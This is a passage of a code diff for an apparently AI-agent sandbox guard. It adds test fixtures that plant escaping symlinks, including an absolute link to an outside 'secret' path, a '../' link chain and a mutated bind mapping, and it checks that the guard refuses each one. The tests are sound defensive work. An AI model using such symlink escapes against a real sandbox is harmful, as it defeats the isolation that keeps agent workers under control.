{nativeFixtureObserveWorkerSpawns,nativeGuardedBoundary,nativeWorkerBoundary,nativeFixtureManagerClient,registerNativeFixtureManagedKeeper} from "../test-native-guard"; +import {nativeFixtureObserveWorkerSpawns,nativeGuardedBoundary,nativeWorkerBoundary,nativeFixtureFindingCounts,nativeFixtureManagerClient,registerNativeFixtureManagedKeeper} from "../test-native-guard"; import {bundledClaudeBinary} from "../../packages/core/src/providers/agents/claude-binary"; import {createNativeBrainLeaseManager} from "../../packages/ui-server/src/brain/native-brain-leases"; import {withNativeProofStages,observeNativeProofStages} from "../../tests/helpers/native-managed-proof"; const realPrepareNativeOutput=prepareNativeWorkerOutput; -export const preparationCases=["positive","mid-walk-write","nested-observer","stale-inspection","foreign","wrong-preparer","native-under-preparer","failed-preparation","actual-wrapper","copied-wrapper","closed-wrapper","raw-expired"] as const; +export const preparationCases=["positive","mid-walk-write","nested-observer","stale-inspection","foreign","wrong-preparer","native-under-preparer","failed-preparation","actual-wrapper","copied-wrapper","closed-wrapper","raw-expired","link-wrong-destination","link-sibling-prefix","link-changed-overlay","link-external","link-runtime-target","link-chain-escape"] as const; export async function proveFixturePreparation(mode:string,brain:string,socketPath:string):Promise{ if(!preparationCases.includes(mode as typeof preparationCases[number]))throw Error("Unknown preparation proof"); await withNativeProofStages(brain,async()=>{ expect(probeWorkerHost(brain,{profile:"governed",stateBytes:1024**2,turnTempBytes:1024**2}).ok,"REAL_PREPARER_IDENTITY").toBe(true); const opaque=join(brain,".brain/odysseus-preparation-private");mkdirSync(opaque,{mode:0o700});chmodSync(opaque,0o700);const gitDirectory=join(brain,".git");mkdirSync(gitDirectory);chmodSync(gitDirectory,0o755);for(const name of ["hooks","info","modules"]){mkdirSync(join(gitDirectory,name));chmodSync(join(gitDirectory,name),0o755);}writeFileSync(join(gitDirectory,"config"),"[core]\nrepositoryformatversion=0\n",{mode:0o644});chmodSync(join(gitDirectory,"config"),0o644);const index=join(brain,".brain-index");mkdirSync(index);chmodSync(index,0o2775);const db=new Database(join(index,"brain.db"));db.run("CREATE TABLE odysseus(value INTEGER)");db.close();chmodSync(join(index,"brain.db"),mode==="failed-preparation"?0o444:0o644); + const linkMode=mode.startsWith("link-"); + if(mode==="positive"||linkMode){ + mkdirSync(join(brain,"notes"),{recursive:true,mode:0o755});writeFileSync(join(brain,"notes/odysseus-link-target.md"),"Odysseus stage link\n",{mode:0o644});chmodSync(join(brain,"notes"),0o755);chmodSync(join(brain,"notes/odysseus-link-target.md"),0o644); + let target=brain+"/notes/odysseus-link-target.md"; + if(mode==="link-sibling-prefix"){mkdirSync(join(brain,"-x/notes"),{recursive:true});writeFileSync(join(brain,"-x/notes/odysseus-link-target.md"),"Odysseus sibling control\n",{mode:0o644});for(const path of ["-x","-x/notes"])chmodSync(join(brain,path),0o755);chmodSync(join(brain,"-x/notes/odysseus-link-target.md"),0o644);target=brain+"-x/notes/odysseus-link-target.md";} + if(mode==="link-external")target="/odysseus-outside-stage/secret"; + if(mode==="link-runtime-target")target=brain+"/notes/odysseus-native-link"; + if(mode==="link-chain-escape"){fixtureFs.symlinkSync(brain+"/../odysseus-outside-stage",join(brain,"notes/chain"));target=brain+"/notes/chain";} + fixtureFs.symlinkSync(target,join(brain,"native-absolute-stage-link")); + } let rawLive=true;const wrapperMode=["actual-wrapper","copied-wrapper","closed-wrapper","raw-expired"].includes(mode); const progress=(stage:string)=>{if(wrapperMode)console.log(JSON.stringify({fixturePreparationStage:{mode,stage,at:performance.now()}}));}; const raw=wrapperMode?nativeFixtureManagerClient({socketPath},()=>rawLive):createNativeBrainManagerClient({socketPath}); @@ -37,6 +46,16 @@ export async function proveFixturePreparation(mode:string,brain:string,socketPat Object.defineProperty(Bun,"spawn",{...descriptor,value:(...args:any[])=>{ const options=Array.isArray(args[0])?args[1]:args[0],encoded=options?.env?.BRAIN_WORKER_LAUNCH; if(encoded){const launch=JSON.parse(encoded); + if(output&&["link-wrong-destination","link-changed-overlay"].includes(mode)&&launch.command?.[2]==='exec "$1"'){ + let changed=false; + const edit=(value:any):any=>{ + if(Array.isArray(value)){const result=value.map(edit);for(let i=0;i+2[key,edit(item)])); + if(typeof value==="string"&&value.startsWith("{")){try{return JSON.stringify(edit(JSON.parse(value)));}catch{}} + return value; + }; + options.env={...options.env,BRAIN_WORKER_LAUNCH:JSON.stringify(edit(launch))};expect(changed,"LINK_NEGATIVE_MUTATES_ACTUAL_PRODUCT_BIND_OPERANDS").toBe(true); + } if(mode==="mid-walk-write"&&output&&launch.command?.[0]==="/bin/sh"&&launch.command?.[2]==='exec "$1"'){ const plan=nativeWorkerBoundary({...options.env});expect(plan.unknown,"MID_WALK_USES_REAL_PRODUCT_MASK_PLAN").toBe(true); const original=fixtureFs.realpathSync;let injected=false; @@ -69,7 +88,6 @@ export async function proveFixturePreparation(mode:string,brain:string,socketPat return Reflect.apply(spawn,Bun,args); }}return Reflect.apply(spawn,Bun,args); }}); - let byteCheckObserver:ReturnType|undefined;const byteChecks:Record[]=[]; let output:Awaited>|undefined; try{ if(mode==="copied-wrapper"){progress("copied-inspection-start"); @@ -116,9 +134,15 @@ export async function proveFixturePreparation(mode:string,brain:string,socketPat const plan=recorded;expect(plan,"ACTUAL_RECORDED_PREPARER_PLAN").toBeDefined(); let refused=false;try{plan!.beforeLaunch();}catch{refused=true;}expect(refused,"RETIRED_INSPECTION_CANNOT_LAUNCH").toBe(true);console.log("FIXTURE_OLD_INSPECTION_RETIRED");return; } - const realReceipt=fixtureReceipts.nativeReceipt;byteCheckObserver=spyOn(fixtureReceipts,"nativeReceipt").mockImplementation(value=>{if(value.kind==="native-fixture-execution-byte-check")byteChecks.push(value);return realReceipt(value);}); + if(linkMode){ + const reason=mode==="link-runtime-target"?"native runtime in stage symlink target":"managed fixture stage link view differs"; + await expect(runMaintenanceWorker({...base(),command:["/bin/sh","-c",'exec "$1"',"odysseus-link-boundary","/bin/true"]}),"EXACT_STAGE_LINK_MAPPING_MUST_REFUSE").rejects.toThrow(reason); + console.log("FIXTURE_STAGE_LINK_EXPECTED_REFUSAL");return; + } + const byteChecks=nativeFixtureFindingCounts().executionByteFiles; expect((await runMaintenanceWorker(base())).exitCode,"REAL_INDEX_PREPARATION_RECAPTURED").toBe(0); - expect(byteChecks.some(row=>Number(row.byteFiles)>0),"MUTABLE_EXECUTION_BOUNDARY_REHASH_REQUIRED").toBe(true); + expect((await runMaintenanceWorker({...base(),command:["/bin/sh","-c",'exec "$1"',"odysseus-byte-boundary","/bin/true"]})).exitCode,"UNKNOWN_COMMAND_REACHES_MASKED_STAGE").toBe(0); + expect(nativeFixtureFindingCounts().executionByteFiles,"MUTABLE_EXECUTION_BOUNDARY_REHASH_REQUIRED").toBeGreaterThan(byteChecks); const gitRoot=output.output.source.replace(/\/merged$/,"/git-adapter");mkdirSync(gitRoot,{mode:0o700});mkdirSync(join(gitRoot,"bin"),{mode:0o700});mkdirSync(join(gitRoot,"hooks"),{mode:0o700}); writeFileSync(join(gitRoot,"config.json"),JSON.stringify({marker:"Odysseus preparation"}),{mode:0o600});writeFileSync(join(gitRoot,"empty-config"),"");writeFileSync(join(gitRoot,"bin/git"),"#!/bin/sh\nexit 0\n",{mode:0o755}); const git=await prepareMaintenanceGitInput({...base(),git:{source:gitRoot,target:"/tmp/brain-maintenance-git",entry:Bun.resolveSync("../../packages/ui-sdk/src/server/maintenance-git-entry",import.meta.dir),binary:"/usr/bin/git"}}); @@ -127,13 +151,13 @@ export async function proveFixturePreparation(mode:string,brain:string,socketPat expect((await runMaintenanceWorker({...base(),git})).exitCode,"PUBLICATION_FILE_IS_INSPECTED_WITHOUT_DIRECTORY_ROLE").toBe(0); await expect(runMaintenanceWorker({...base(),git:{...git}}),"REAL_FOREIGN_GIT_SPEC_REFUSES").rejects.toThrow("Unprepared or foreign concrete maintenance Git input"); expect((await runMaintenanceWorker({...base(),git})).exitCode,"FOREIGN_PREFLIGHT_DOES_NOT_RETIRE_UNCONSUMED_INSPECTION").toBe(0);console.log("FIXTURE_REAL_INDEX_AND_GIT_RECAPTURED"); - }finally{byteCheckObserver?.mockRestore();progress("cleanup-start");stopRecording();Object.defineProperty(Bun,"spawn",descriptor); + }finally{progress("cleanup-start");stopRecording();Object.defineProperty(Bun,"spawn",descriptor); try{ if(mode==="closed-wrapper"){ await output!.cleanup(); await expect(view.cleanup(),"CLOSED_OWNER_VIEW_CLEANUP_IS_EXPLICIT").rejects.toThrow("Native root lease owner is closed."); }else try{await output?.cleanup();}finally{await view.cleanup();} - }finally{try{progress("manager-close");await lease?.close();progress("manager-closed");}finally{rawLive=false;if(ledgerRoot)rmSync(ledgerRoot,{recursive:true,force:true});rmSync(index,{recursive:true,force:true});rmSync(gitDirectory,{recursive:true,force:true});rmSync(opaque,{recursive:true,force:true});}} + }finally{try{progress("manager-close");await lease?.close();progress("manager-closed");}finally{rawLive=false;for(const path of ["native-absolute-stage-link","notes/odysseus-link-target.md","notes/chain","notes/odysseus-native-link","-x"])rmSync(join(brain,path),{recursive:true,force:true});if(ledgerRoot)rmSync(ledgerRoot,{recursive:true,force:true});rmSync(index,{recursive:true,force:true});rmSync(gitDirectory,{recursive:true,force:true});rmSync(opaque,{recursive:true,force:true});}} } }); } diff --git a/scripts/native-proof/identity-manager.native.ts b/scripts/native-proof/identity-manager.native.ts index da7c7c39e0..fc520355c1 100644 --- a/scripts/native-proof/identity-manager.native.ts +++ b/scripts/native-proof/identity-manager.native.ts @@ -1,10 +1,11 @@ +import {bundledClaudeBinary} from "../../packages/core/src/providers/agents/claude-binary"; import {retainFixtureStream} from "../../packages/ui-sdk/tests/fixtures/retained-stream"; import {serveNativeFixtureBrainManager as serveNativeBrainManager} from '../../tests/helpers/native-stage-metadata-fixture'; import {captureNativeReceipts} from "../native-test-receipts"; import {withNativeProofStages} from "../../tests/helpers/native-managed-proof"; /** Real owned Btrfs manager, separate-UID launch and private journal recovery. */ import { expect } from "bun:test"; -import { chmodSync, chownSync, constants, mkdirSync, readFileSync, rmSync, statSync, writeFileSync } from "node:fs"; +import { chmodSync, chownSync, copyFileSync, constants, mkdirSync, readFileSync, rmSync, statSync, writeFileSync } from "node:fs"; import { open, unlink } from "node:fs/promises"; import { join } from "node:path"; import { Readable } from "node:stream"; @@ -167,15 +168,16 @@ os.chmod(${JSON.stringify(join(brain, "opaque"))},0)`] }); try { const {preparationCases}=await import("./fixture-preparation.native"); for(const mode of process.argv.includes("--preparation-proofs")?(process.argv.includes("--ordinary-mid-walk-proof")?["mid-walk-write"] as const:preparationCases.filter(mode=>mode!=="mid-walk-write")):[]){ + if(mode==="link-runtime-target"){const runtime=bundledClaudeBinary();if(!runtime)throw Error("Native link fixture requires installed bytes");mkdirSync(join(brain,"notes"),{recursive:true,mode:0o755});chownSync(join(brain,"notes"),21001,21001);chmodSync(join(brain,"notes"),0o755);copyFileSync(runtime,join(brain,"notes/odysseus-native-link"),constants.COPYFILE_FICLONE);chmodSync(join(brain,"notes/odysseus-native-link"),0o555);} const receipt=captureNativeReceipts(); const child=Bun.spawn(["/usr/bin/setpriv","--reuid=21001","--regid=21001","--clear-groups",process.execPath,"--preload","/repo/scripts/test-network-child-preload.ts",import.meta.filename,"--preparation-child",mode],{env:{PATH:"/usr/local/bin:/usr/bin:/bin",BRAIN_UI_WORKER_IDENTITY_HELPER:process.argv.includes("--ordinary-mid-walk-proof")?"":"/usr/local/bin/identity-helper",...receipt.env},stdout:"pipe",stderr:"pipe"}); const [code,stdoutResult,stderrResult]=await Promise.all([child.exited,retainFixtureStream(child.stdout,`/proof/preparation-${mode}.stdout`),retainFixtureStream(child.stderr,`/proof/preparation-${mode}.stderr`)]);const out=stdoutResult.text,stderr=stderrResult.text,err=stderr+receipt.read();receipt.dispose();if(stdoutResult.failure)throw stdoutResult.failure.error;if(stderrResult.failure)throw stderrResult.failure.error; // A refused child can exit before its asynchronous fixture cleanup completes. // Only these three roots were created by this proof, after the child started. - for(const rel of [".brain/odysseus-preparation-private",".git",".brain-index"])rmSync(join(brain,rel),{recursive:true,force:true}); + for(const rel of [".brain/odysseus-preparation-private",".git",".brain-index","native-absolute-stage-link","notes/odysseus-link-target.md","notes/chain","notes/odysseus-native-link","-x"])rmSync(join(brain,rel),{recursive:true,force:true}); writeFileSync(`/proof/preparation-${mode}.stdout`,out);writeFileSync(`/proof/preparation-${mode}.stderr`,err); - const markers={"mid-walk-write":"FIXTURE_MID_WALK_WRITE_REFUSED","nested-observer":"FIXTURE_NESTED_OBSERVERS_PASSED",positive:"FIXTURE_REAL_INDEX_AND_GIT_RECAPTURED","stale-inspection":"FIXTURE_OLD_INSPECTION_RETIRED",foreign:"FIXTURE_PREPARATION_FOREIGN_REFUSED","wrong-preparer":"FIXTURE_PREPARATION_EXPECTED_GUARD_REFUSAL","native-under-preparer":"FIXTURE_PREPARATION_EXPECTED_GUARD_REFUSAL","failed-preparation":"FIXTURE_FAILED_PREPARATION_RETIRED","actual-wrapper":"FIXTURE_ACTUAL_LEASE_WRAPPER_PASSED","copied-wrapper":"FIXTURE_UNOBSERVED_WRAPPER_REFUSED","closed-wrapper":"FIXTURE_CLOSED_WRAPPER_REFUSED","raw-expired":"FIXTURE_RAW_EXPIRY_REVOKES_WRAPPER"} satisfies Record; - const reasons:Partial>={"mid-walk-write":"managed fixture keeper snapshot is unavailable","stale-inspection":"managed fixture inspection changed after planning","wrong-preparer":"metadata-only probe launch chain differs","native-under-preparer":"metadata-only probe launch chain differs","failed-preparation":"metadata-only probe scope expired or source changed","copied-wrapper":"managed fixture keeper snapshot is unavailable","closed-wrapper":"managed fixture manager provenance expired","raw-expired":"managed fixture manager provenance expired"}; + const markers={"mid-walk-write":"FIXTURE_MID_WALK_WRITE_REFUSED","nested-observer":"FIXTURE_NESTED_OBSERVERS_PASSED",positive:"FIXTURE_REAL_INDEX_AND_GIT_RECAPTURED","stale-inspection":"FIXTURE_OLD_INSPECTION_RETIRED",foreign:"FIXTURE_PREPARATION_FOREIGN_REFUSED","wrong-preparer":"FIXTURE_PREPARATION_EXPECTED_GUARD_REFUSAL","native-under-preparer":"FIXTURE_PREPARATION_EXPECTED_GUARD_REFUSAL","failed-preparation":"FIXTURE_FAILED_PREPARATION_RETIRED","actual-wrapper":"FIXTURE_ACTUAL_LEASE_WRAPPER_PASSED","copied-wrapper":"FIXTURE_UNOBSERVED_WRAPPER_REFUSED","closed-wrapper":"FIXTURE_CLOSED_WRAPPER_REFUSED","raw-expired":"FIXTURE_RAW_EXPIRY_REVOKES_WRAPPER","link-wrong-destination":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-sibling-prefix":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-changed-overlay":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-external":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-runtime-target":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-chain-escape":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL"} satisfies Record; + const reasons:Partial>={"mid-walk-write":"managed fixture keeper snapshot is unavailable","stale-inspection":"managed fixture inspection changed after planning","wrong-preparer":"metadata-only probe launch chain differs","native-under-preparer":"metadata-only probe launch chain differs","failed-preparation":"metadata-only probe scope expired or source changed","copied-wrapper":"managed fixture keeper snapshot is unavailable","closed-wrapper":"managed fixture manager provenance expired","raw-expired":"managed fixture manager provenance expired","link-wrong-destination":"managed fixture stage link view differs","link-sibling-prefix":"managed fixture stage link view differs","link-changed-overlay":"managed fixture stage link view differs","link-external":"managed fixture stage link view differs","link-runtime-target":"native runtime in stage symlink target","link-chain-escape":"managed fixture stage link view differs"}; const reason=reasons[mode];expect(code,`REAL_PREPARATION_PROOF ${mode}: ${err}`).toBe(reason?1:0); expect(out,`REAL_PREPARATION_PROOF_REACHED ${mode}`).toContain(markers[mode]); if(reason){expect(err).toContain('"kind":"native-offline-boundary"');expect(err).toContain('"nativeLaunched":false');expect(err).toContain(reason);} diff --git a/scripts/native-stage-links.ts b/scripts/native-stage-links.ts new file mode 100644 index 0000000000..d288b1b16d --- /dev/null +++ b/scripts/native-stage-links.ts @@ -0,0 +1,42 @@ +/** Test-only resolution of stage links against actual bwrap mount operands. */ +import {dirname,join,resolve,isAbsolute} from "node:path"; +const inside=(root:string,path:string)=>path===root||path.startsWith(root.endsWith("/")?root:root+"/"); +type Mount={at:number;flag:string;source?:string;target:string}; +function mounts(argv:readonly string[]):Mount[]{ + const zero=new Set(["--unshare-all","--unshare-user","--unshare-user-try","--unshare-ipc","--unshare-pid","--unshare-net","--unshare-uts","--unshare-cgroup","--unshare-cgroup-try","--disable-userns","--assert-userns-disabled","--clearenv","--new-session","--die-with-parent","--as-pid-1"]); + const one=new Set(["--args","--userns","--userns2","--pidns","--uid","--gid","--hostname","--chdir","--unsetenv","--lock-file","--sync-fd","--remount-ro","--exec-label","--file-label","--seccomp","--add-seccomp-fd","--block-fd","--userns-block-fd","--info-fd","--json-status-fd","--cap-add","--cap-drop","--perms","--size"]); + const two=new Set(["--setenv","--bind","--bind-try","--dev-bind","--dev-bind-try","--ro-bind","--ro-bind-try","--bind-fd","--ro-bind-fd","--file","--bind-data","--ro-bind-data","--symlink","--chmod"]); + const directory=new Set(["--proc","--dev","--tmpfs","--mqueue","--dir"]),bind=new Set(["--bind","--bind-try","--dev-bind","--dev-bind-try","--ro-bind","--ro-bind-try"]),result:Mount[]=[]; + for(let at=0;at=argv.length)throw Error("Invalid stage view option");if(flag!=="--setenv")result.push({at,flag,...(bind.has(flag)?{source:argv[at+1]}:{}),target:argv[at+2]!});at+=3;continue;} + throw Error("Unrecognized stage view option"); + }if(result.some(row=>!isAbsolute(row.target)||resolve(row.target)!==row.target))throw Error("Noncanonical stage view destination");return result; +} +export function resolveNativeStageLinks(input:{root:string;links:ReadonlyMap;entries:ReadonlySet;view?:{source:string;destination:string;mounts:readonly string[]}}):ReadonlyMap{ + const result=new Map(),view=input.view; + let mapping:Mount|undefined,operations:Mount[]=[]; + if(view){operations=mounts(view.mounts);const candidates=operations.filter(row=>["--bind","--ro-bind"].includes(row.flag)&&row.source===view.source&&row.target===view.destination);if(candidates.length!==1)throw Error("Stage link view mapping differs");mapping=candidates[0];} + for(const relative of input.links.keys()){ + let current=relative,pending=false;const seen=new Set(),traversed:string[]=[]; + for(let depth=0;;depth++){ + if(depth>256||seen.has(current))throw Error("Stage symlink cycle");seen.add(current); + const parts=current.split("/");let changed=false; + for(let i=0;imapping.at&&traversed.some(path=>inside(row.target,join(view.destination,path))))throw Error("Stage link view overlay changed"); + result.set(relative,current);break; + } + }return result; +} diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index eb305a6ca1..6d36c4cf50 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1,3 +1,4 @@ +import {resolveNativeStageLinks} from "./native-stage-links"; import {connectNativeStageMetadata,nativeStageMetadataSocket} from "./native-stage-metadata-channel"; import {verifyStageMetadataEvidence,opaqueStageNode,recheckOpaqueStageNode,type OpaqueStageNode,type StageReaderIdentity} from "./native-opaque-stage"; import {prepareNativeLaunchReadiness} from "./native-launch-ready"; @@ -194,7 +195,7 @@ for (const owner of sdkOwners) { } const hashes=new Map(); -let reusedFileFindings=0,inspectedFileFindings=0; +let reusedFileFindings=0,inspectedFileFindings=0,executionByteChecks=0,executionByteFiles=0; /** Kernel key, including mount identity; pathname alone never identifies a finding. */ function fixtureDescriptorKey(fd:number):string { const info=fstatSync(fd,{bigint:true}),mount=/^mnt_id:\s+(\d+)$/m.exec(readFileSync(`/proc/self/fdinfo/${fd}`,"utf8"))?.[1]; @@ -221,7 +222,7 @@ function fileHash(path:string):string { } /** Read-only counters are proof of reuse, never an admission capability. */ export function nativeFixtureFileFinding(path:string):{key:string;hash:string}{const key=fixturePathKey(path),hash=fileHash(path);if(fixturePathKey(path)!==key)throw Error("Fixture file changed");return Object.freeze({key,hash});} -export function nativeFixtureFindingCounts():{inspected:number;reused:number}{return {inspected:inspectedFileFindings,reused:reusedFileFindings};} +export function nativeFixtureFindingCounts():{inspected:number;reused:number;executionByteChecks:number;executionByteFiles:number}{return {inspected:inspectedFileFindings,reused:reusedFileFindings,executionByteChecks,executionByteFiles};} interface SpawnContext { synchronous?:boolean;detached?:boolean; cwd?: string; env?: Record } function resolveExecutable(command: string, options: SpawnContext): string { @@ -1229,7 +1230,8 @@ function mountInputEvidence(input: string, destination: string, index: number, e } /** Validate the same bind-source inventory used to construct the native view. */ -function assertNativeMountSockets(mounts: readonly string[], origin: string, keeper?: KeeperInspection,route=scriptedRoute.getStore()): void { +function assertNativeMountSockets(mounts:readonly string[],origin:string,keeper?:KeeperInspection,route=scriptedRoute.getStore()):void {return withStageLinkView(keeper,mounts,()=>assertNativeMountSocketsInView(mounts,origin,keeper,route));} +function assertNativeMountSocketsInView(mounts: readonly string[], origin: string, keeper?: KeeperInspection,route=scriptedRoute.getStore()): void { const roots: string[] = [],canonical=fixtureWalkRealpath(); for (let i = 0; i < mounts.length; i++) { const flag = mounts[i]!; @@ -1267,7 +1269,7 @@ function assertNativeMountSockets(mounts: readonly string[], origin: string, kee const visit = (path: string): boolean => { inspected = path; let real: string; - try { real = realpathSync(path); } catch (error) { + try { real = inspectionRealpath(path,keeper); } catch (error) { // Every missing or unreadable non-system entry refuses. metadataError = (error as NodeJS.ErrnoException).code ?? "UNKNOWN"; return false; @@ -1323,7 +1325,7 @@ export function nativeFixtureDirectory(prefix: string): string { } interface FixtureKeeper { mount: string; namespacePid: number; namespaceStart: string; root: string } -interface KeeperInspection { mount:string;snapshot:string;managed:boolean;ordinary:boolean;bindSources:Map;live():boolean;refresh():void } +interface KeeperInspection { brain?:string;mount:string;snapshot:string;managed:boolean;ordinary:boolean;bindSources:Map;live():boolean;refresh():void } const guardedChildren = new Map(); const bootstrapDiagnostics=new Map(); export function nativeBootstrapStatus(pid:number){return bootstrapDiagnostics.get(pid);} @@ -1486,6 +1488,7 @@ function removeFixtureSnapshot(snapshot:string):void { if(existsSync(snapshot))restore(snapshot);rmSync(snapshot,{recursive:true,force:true}); } function clearOpaqueSnapshot(snapshot:string){ + stageLinkViews.delete(snapshot); for(const path of opaqueStageSnapshots.keys())if(within(snapshot,path))opaqueStageSnapshots.delete(path); for(const [path,owners] of inPlaceFixtureFiles){const finding=owners.get(snapshot);if(finding?.fd!==undefined)closeSync(finding.fd);owners.delete(snapshot);if(!owners.size)inPlaceFixtureFiles.delete(path);} } @@ -1513,6 +1516,26 @@ const stageEntryLinks=new WeakMap,ReadonlyMap,ReadonlyMap>(); const stageEntryKeys=new WeakMap,ReadonlyMap>(); const inPlaceFixtureFiles=new Map>(); +type StageLinkView={root:string;links:ReadonlyMap;entries:ReadonlySet;opaque:readonly OpaqueStageNode[]}; +const stageLinkViews=new Map(); +const stageLinkContext=new AsyncLocalStorage<{snapshot:string;access:ReadonlyMap}>(); +function inspectStageLinkTargets(snapshot:string,view:StageLinkView,targets:ReadonlyMap,keeper?:KeeperInspection):void { + for(const target of targets.values()){ + if(view.opaque.some(node=>node.path===target||target.startsWith(node.path+"/")))throw Error("Stage symlink target is opaque"); + const path=join(snapshot,target),real=realpathSync(path); + if(lstatSync(path).isFile()||inPlaceFixtureFiles.get(real)?.has(snapshot))if(isNativeClaude(inspectionAccessPath(path,keeper??{managed:true,snapshot} as KeeperInspection)))refuse("native runtime in stage symlink target"); + } +} +function withStageLinkView(keeper:KeeperInspection|undefined,mounts:readonly string[],run:()=>T):T { + try{const view=keeper?.managed?stageLinkViews.get(keeper.snapshot):undefined;if(!view||!view.links.size)return run(); + if(!keeper!.brain||!keeper!.live())throw Error("Stage link view registration expired"); + const targets=resolveNativeStageLinks({...view,view:{source:keeper!.mount,destination:keeper!.brain,mounts}}); + if(targets.size!==view.links.size)throw Error("Stage link view mapping incomplete"); + const access=new Map([...targets].map(([path,target])=>[join(keeper!.snapshot,path),join(keeper!.snapshot,target)])); + return stageLinkContext.run({snapshot:keeper!.snapshot,access},()=>{inspectStageLinkTargets(keeper!.snapshot,view,targets,keeper);return run();}); + }catch(error){if(String(error).includes("Offline native Claude refused before launch:"))throw error;return refuse("managed fixture stage link view differs");} +} +function inspectionRealpath(path:string,keeper?:KeeperInspection):string {const view=stageLinkContext.getStore();return realpathSync(view&&view.snapshot===keeper?.snapshot?view.access.get(path)??path:path);} function stageMetadataKey(row:{path:string;kind:string;stamp:string;mode:number;bytes:number;inode:string},reader:StageReaderIdentity):string { const path=join(reader.root,row.path); try{ @@ -1540,6 +1563,7 @@ function keeperCheckedFile(path:string,keeper:KeeperInspection|undefined):boolea } /** Canonical names prove containment; reads stay on the pinned reachable view. */ function inspectionAccessPath(path:string,keeper:KeeperInspection|undefined):string { + const view=stageLinkContext.getStore();if(view&&view.snapshot===keeper?.snapshot)path=view.access.get(path)??path; const real=realpathSync(path); if(keeper?.ordinary){for(const root of keeper.bindSources.values())if(within(root,path)&&within(realpathSync(root),real))return path;} const finding=keeper?.managed?inPlaceFixtureFiles.get(real)?.get(keeper.snapshot):undefined; @@ -1617,26 +1641,11 @@ async function captureNativeFixtureStageInspected(manager:Pickcancel()));await Promise.allSettled([...pending]); nativeReceipt({kind:"native-fixture-inspection-resources",head:nativeTestHead(),readerLimit:3,peakReaders,peakBufferedBytes,inPlaceFiles,copiedFiles,reusedPrivateFiles,processMaxRssKiB:process.resourceUsage().maxRSS,drained:activeReaders===0,success:!failed});} check(); - // Resolve every link inside the captured stage graph; never follow an outside - // target merely because the link's own metadata was available. - for(const relative of links.keys()){ - const root=reader?.root??snapshot;let current=relative; - const seen=new Set(); - for(let depth=0;;depth++){ - if(depth>256||seen.has(current))throw Error("Stage symlink cycle");seen.add(current); - const parts=current.split("/");let changed=false; - for(let i=0;inode.path===current||current.startsWith(node.path+"/")))throw Error("Stage symlink target is opaque"); - const target=join(snapshot,current);if(lstatSync(target).isFile()||inPlaceFixtureFiles.get(realpathSync(target))?.has(snapshot)){if(isNativeClaude(inspectionAccessPath(target,{managed:true,snapshot} as KeeperInspection)))refuse("native runtime in stage symlink target");} - break; - } - } + // Absolute targets remain pending until the actual launch's bind operands + // establish their registered final-view mapping. No launch uses that pending state. + const linkView={root:reader?.root??snapshot,links,entries:new Set(stamps.keys()),opaque}; + inspectStageLinkTargets(snapshot,linkView,resolveNativeStageLinks(linkView)); + if(fixtureManagerPin(manager as object))stageLinkViews.set(snapshot,linkView); stageEntryLinks.set(stamps,links);stageOpaqueNodes.set(stamps,opaque);stageEntryKeys.set(stamps,keys); stageEntryHashes.set(stamps,new Map([...stamps.keys()].filter(path=>{if(opaque.some(node=>node.path===path||path.startsWith(node.path+"/")))return false;try{return lstatSync(join(snapshot,path)).isFile()||inPlaceFixtureFiles.get(realpathSync(join(snapshot,path)))?.has(snapshot);}catch{return false;}}).map(path=>{const finding=inPlaceFixtureFiles.get(realpathSync(join(snapshot,path)))?.get(snapshot);return [path,finding?.hash??fileHash(join(snapshot,path))];}))); return stamps; @@ -1897,7 +1906,7 @@ async function createNativeFixtureManagedKeeperInspected(storage:import("../pack const result=metadataSpawnSync([metadataRuntime.path,"--no-env-file",join(ROOT,"scripts/native-stage-metadata-check.ts")],{env:{PATH:"/usr/bin:/bin"},stdin:Buffer.from(JSON.stringify({options:managerOptions,id,uid,entries:[...stageStamps],verifyBytes:guardExecutionCheck,hashes:[...stageHashes??[]],links:[...stageLinks??[]],opaque})),stdout:"pipe",stderr:"pipe",timeout:watchdogMs(15000)}); const after=lstatSync(managerOptions.socketPath),receipt=JSON.parse(String(result.stdout)),expectedFiles=guardExecutionCheck?(stageHashes?.size??0):0,expectedBytes=guardExecutionCheck?[...stageHashes??[]].reduce((sum,[path])=>sum+Number(stageStamps!.get(path)!.split(":")[1]),0):0; if(result.exitCode!==0||Object.keys(receipt).sort().join(",")!=="byteBytes,byteFiles,current"||receipt.current!==true||receipt.byteFiles!==expectedFiles||receipt.byteBytes!==expectedBytes||after.dev!==socket.dev||after.ino!==socket.ino||after.uid!==0)return false; - if(guardExecutionCheck)nativeReceipt({kind:"native-fixture-execution-byte-check",head:nativeTestHead(),byteFiles:receipt.byteFiles,byteBytes:receipt.byteBytes,success:true});return true; + if(guardExecutionCheck){executionByteChecks++;executionByteFiles+=receipt.byteFiles;}return true; }catch{return false;} }; const attested=()=>{try{ @@ -1923,6 +1932,7 @@ async function createNativeFixtureManagedKeeperInspected(storage:import("../pack }catch{metadataChannel?.close();ticket.close();clearOpaqueSnapshot(snapshot);removeFixtureSnapshot(snapshot);return refuse("managed fixture keeper snapshot is unavailable");} let unregister:()=>void;try{unregister=registerFixtureKeeper(storage as FixtureKeeper,attested,snapshot,undefined,metadataOnly,metadataOnly?probe:undefined);}catch(error){metadataChannel?.close();ticket.close();clearOpaqueSnapshot(snapshot);removeFixtureSnapshot(snapshot);if(String(error).includes("Offline native Claude refused before launch:"))throw error;refuse("managed fixture keeper provenance is unavailable",{sourceKind:"product-keeper",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"});} try{ + fixtureKeepers.get(storage.namespacePid)!.brain=brain; for(const area of areas){ if(!area||isAbsolute(area)||resolve("/",area)!=="/"+area)throw Error("Noncanonical fixture area"); // Allocator areas are publication filters and may name an absent output. @@ -2074,7 +2084,8 @@ function stageWorkerFixtureBinds(argv: string[], bwrap: number, route: ScriptedA } } -function assertWorkerFixtureBinds(mounts: readonly string[], route: ScriptedAuthority, guardRoot: string, keeper?: KeeperInspection,checkpoint?:NativeCheckpointRole): void { +function assertWorkerFixtureBinds(mounts:readonly string[],route:ScriptedAuthority,guardRoot:string,keeper?:KeeperInspection,checkpoint?:NativeCheckpointRole):void {return 